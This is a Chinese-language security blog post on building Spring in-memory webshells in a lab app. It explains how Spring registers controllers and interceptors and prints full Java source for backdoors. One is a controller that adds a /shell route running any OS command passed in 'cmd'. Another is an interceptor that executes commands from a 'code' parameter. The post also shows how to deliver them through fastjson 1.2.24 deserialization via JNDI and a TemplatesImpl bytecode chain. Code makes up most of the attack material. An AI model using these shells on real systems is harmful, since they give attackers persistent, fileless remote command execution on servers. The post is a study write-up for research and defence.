Spring内存码

Spring内存码

依然不会配环境orz,干脆直接拿以前那个java-sec-code了,springboot版本2.1.5.RELEASE

spring内存码基础的有controller型和interceptor型,两个组件都可以动态添加,注入思路和以前一样,所以先看初始化的流程

一、Controller型

controller作用是接收特定参数,与@RequestMapping@GetMapping@PostMapping 结合让spring明白一个url请求应该送到哪里处理

1.1 controller初始化

要想动态添加组件先看这个组件怎么存的,所以直接省流,一个controller(对应url为/classloader)在spring中存储如下,关注MappingRegistry。初始化从DispatcherServlet#getHandler开始,过程就不贴了,断点下在AbstractHandlermethodmapping$MappingRegistry#getMappingByUrl比较方便

1689748756821

1689748655802

核心在AbstractHandlerMethodMapping$MappingRegistry,里面有四个hashmap来记录所有controller

1689749627982

MappingRegistry可以通过register方法登记一个controller

1689749828146

register方法的三个参数:mapping是个RequestMappingInfo对象,记录映射关系,handler是Controller那个类的对象,method是反射获取的方法

1689750238448

正常来讲是通过AbstractHandlerMethodMapping$MappingRegistry#registerHandlerMethod进入register的,不过还有一个长得一样的registerMapping也行

1689751475531

1689751464747

AbstractHandlerMethodMapping是抽象类,实现了它的子类才可以调用registerHandlerMethod方法,RequestMappingHandlerMapping

Spring里通过@controller注册COntroller靠的就是RequestMappingHandlerMapping映射器,老版本spring(2.5-3.1)使用org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping

1.2 构造思路

与tomcat里StandardContext对应,spring有WebApplicationContext,且这个context继承了BeanFactory,能直接context.getBean(RequestMappingHandlerMapping.class)获取RequestMappingHandlerMapping

import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Method;
import java.util.Scanner;

@RestController
public class ControllerShell {

    public class Controller{

        public void shell() throws IOException {
            HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
            HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
            String cmd = request.getParameter("cmd");
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\a");
            String output = s.hasNext() ? s.next() : "";
            PrintWriter out = response.getWriter();
            out.println(output);
            out.flush();
            out.close();
        }
    }

    @GetMapping("/inject")
    public void injectShell() throws NoSuchMethodException {
        WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        RequestMappingHandlerMapping rm = context.getBean(RequestMappingHandlerMapping.class);

        RequestMappingInfo info = new RequestMappingInfo(new PatternsRequestCondition("/shell"),new RequestMethodsRequestCondition(RequestMethod.GET),
                null,null,null,null,null);
        Controller controller = new Controller();
        Method method = Controller.class.getMethod("shell");
        rm.registerMapping(info, controller, method);
    }
}

先访问/inject注入,再访问/shell?cmd=dir就行了。但这仅仅是测试时的方式。。添加一个/inject的contoller用于注入恶意controller,有点多此一举的感觉。。实际应用还是要通过代码执行注入,比如fastjson

二、Interceptor型

spring的interceptor和tomcat的fitlter很像,前者偏日志记录,后者偏过滤

新建InterceptorTest,所有自定义的interceptor都要实现HandlerInterceptor接口

package org.joychou;

import org.springframework.stereotype.Component;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

@Component("InterceptorTest")
public class InterceptorTest implements HandlerInterceptor {
    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        System.out.println("preHandle执行了....");
        return true;
    }

    @Override
    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
        System.out.println("postHandle执行了...");
    }

    @Override
    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
        System.out.println("afterCompletion执行了....");
    }
}

在WebConfig里登记InterceptorTest

@Component // 注解@Component表明WebConfig类将被SpringIoC容器扫描装配,并且Bean名称为webConfig
public class WebConfig extends WebMvcConfigurerAdapter { 
	private InterceptorTest interceptorTest = new InterceptorTest();

    @Override
    public void addInterceptors(InterceptorRegistry registry) {
        registry.addInterceptor(interceptorTest);
    }
}

2.1 Interceptor初始化

流程直接看图

1690167622617

很容易找到interceptor存储位置,是HandlerInterceptor的interceptors

1690180031045

往回找到AbstractHandlerMappig#getHandlerExecutionChain,发现interceptors源于adaptedInterceptors,chain.addInterceptor会从adaptedInterceptors里取出interceptor给interceptors赋值

1690336872531

adaptedInterceptors是私有属性,用add方法可以添加

1690350102665

2.2 构造思路

从理论上来讲有两步,恶意interceptor和手动把恶意interceptor加进adaptedInterceptors

恶意interceptor,41和46行的super可以防止编译报错

package com.test.happysb;

import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.InputStreamReader;

public class TestInterceptor implements HandlerInterceptor {
    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        String code = request.getParameter("code");
        if(code != null){
            try {
                java.io.PrintWriter writer = response.getWriter();
                ProcessBuilder p;
                if(System.getProperty("os.name").toLowerCase().contains("win")){
                    p = new ProcessBuilder(new String[]{"cmd.exe", "/c", code});
                }else{
                    p = new ProcessBuilder(new String[]{"/bin/bash", "-c", code});
                }
                p.redirectErrorStream(true);
                Process process = p.start();
                BufferedReader r = new BufferedReader(new InputStreamReader(process.getInputStream()));
                String result = r.readLine();
                System.out.println(result);
                writer.println(result);
                writer.flush();
                writer.close();
            }catch (Exception e){
            }
            return false;
        }
        return true;
    }

    @Override
    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
        HandlerInterceptor.super.postHandle(request, response, handler, modelAndView);
    }

    @Override
    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
        HandlerInterceptor.super.afterCompletion(request, response, handler, ex);
    }
}

添加到adaptedInterceptors

        // 和前面一样的方法获取RequestMappingHandlerMapping
        WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        RequestMappingHandlerMapping rm = context.getBean(RequestMappingHandlerMapping.class);
        // 反射获取adaptInterceptors
        Filed f = RequestMappingHandlerMapping.class.getDeclaredField("adaptedInterceptors");
        f.setAccessible(true);
        List<HandlerInterceptor> adaptInterceptors = null;
        adaptInterceptors = (List<HandlerInterceptor>) f.get(rm);

三、fastjson注入内存码

fastjson是个很好的执行代码的方式,靶场里正好自带了个1.2.24的fastjson入口,payload可以直接用以前fastjson那篇里的

1690526973918

由于这个靶场为了包含shiro还有个登陆的功能,所以每次重启服务都要获取新的cookie,就很折磨,有条件还是自己配环境吧

3.1 jndi注入

改了下上面的controller码,当触发fastjson反序列化时实例化ControllerShell,触发构造方法里的代码注入内置类Controller

package org.joychou.shell;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Method;
import java.util.Scanner;


public class ControllerShell {

    public class Controller{

        public void shell() throws IOException {
            HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
            HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
            String cmd = request.getParameter("cmd");
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\a");
            String output = s.hasNext() ? s.next() : "";
            PrintWriter out = response.getWriter();
            out.println(output);
            out.flush();
            out.close();
        }
    }

    public ControllerShell() throws NoSuchMethodException {
        super();
        WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        RequestMappingHandlerMapping rm = context.getBean(RequestMappingHandlerMapping.class);

        RequestMappingInfo info = new RequestMappingInfo(new PatternsRequestCondition("/shell"),new RequestMethodsRequestCondition(RequestMethod.GET),
                null,null,null,null,null);

        Controller controller = new Controller();
        Method method = Controller.class.getMethod("shell");
        rm.registerMapping(info, controller, method);
    }


}

content-type改成application/json,不然会url编码导致不能正常parseObject

1690527328269

3.2 TemplatesImpl链

如果把处理逻辑改成JSON.parseObject(params, Feature.SupportNonPublicField)还可以通过字节码加载,ControllerShell在上面的基础上额外实现AbstractTranslet用于TemplatesImpl加载字节码

package org.joychou.shell;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Method;
import java.util.Scanner;


public class ControllerShell extends AbstractTranslet {

    public class Controller{

        public void shell() throws IOException {
            HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
            HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
            String cmd = request.getParameter("cmd");
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\a");
            String output = s.hasNext() ? s.next() : "";
            PrintWriter out = response.getWriter();
            out.println(output);
            out.flush();
            out.close();
        }
    }

    public ControllerShell() throws NoSuchMethodException {
        super();
        WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        RequestMappingHandlerMapping rm = context.getBean(RequestMappingHandlerMapping.class);

        RequestMappingInfo info = new RequestMappingInfo(new PatternsRequestCondition("/shell"),new RequestMethodsRequestCondition(RequestMethod.GET),
                null,null,null,null,null);

        Controller controller = new Controller();
        Method method = Controller.class.getMethod("shell");
        rm.registerMapping(info, controller, method);
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

注意当用javassist获得ControllerShell的字节码时,javassist会忽视掉内部类Controller

        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.get("org.joychou.shell.ControllerShell");
        byte[] b = cc.toBytecode();

        byte[] encode = Base64.getEncoder().encode(b);
        String encodeStr = new String(encode);
        System.out.println("========================================================");
        System.out.println(encodeStr);
        System.out.println("========================================================");

解决方法有很多,干脆就先编译成.class再base64,或者用网上这种不用内部类的方法

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
 
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.PrintWriter;
import java.lang.reflect.Method;
 
public class TemplatesImplSpringController extends AbstractTranslet {
    public TemplatesImplSpringController() throws Exception{
        super();
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.
                currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
 
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
        method.setAccessible(true);
        Method method2 = TemplatesImplSpringController.class.getMethod("test");
        PatternsRequestCondition url = new PatternsRequestCondition("/shell");
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
        TemplatesImplSpringController inject = new TemplatesImplSpringController("aaa");
        mappingHandlerMapping.registerMapping(info, inject, method2);
 
    }
    public TemplatesImplSpringController(String aaa) {
 
    }
    public void test() throws Exception {
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
 
        try {
            String arg0 = request.getParameter("cmd");
            PrintWriter writer = response.getWriter();
            if (arg0 != null) {
                String o = "";
                java.lang.ProcessBuilder p;
                if (System.getProperty("os.name").toLowerCase().contains("win")) {
                    p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
                } else {
                    p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
                o = c.hasNext() ? c.next() : o;
                c.close();
                writer.write(o);
                writer.flush();
                writer.close();
            } else {
                response.sendError(404);
            }
        } catch (Exception e) {
        }
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
 
    }
 
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
 
    }
}

四、tomcat内存码打spring

https://blog.z3ratu1.top/Java内存马缝合笔记.html

由于spring内置tomcat,tomcat的码理应也能打spring,但模仿着缝一下并没有成功,debug过程非常痛苦,测试时正向加载是正常的,不知道反序列化反向加载filter时哪里出错,留个坑吧orz

参考

https://xz.aliyun.com/t/12047#toc-6

https://landgrey.me/blog/19/

posted @   卡拉梅尔  阅读(95)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 在鹅厂做java开发是什么体验
· 百万级群聊的设计实践
· WPF到Web的无缝过渡:英雄联盟客户端的OpenSilver迁移实战
· 永远不要相信用户的输入:从 SQL 注入攻防看输入验证的重要性
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
点击右上角即可分享
微信分享提示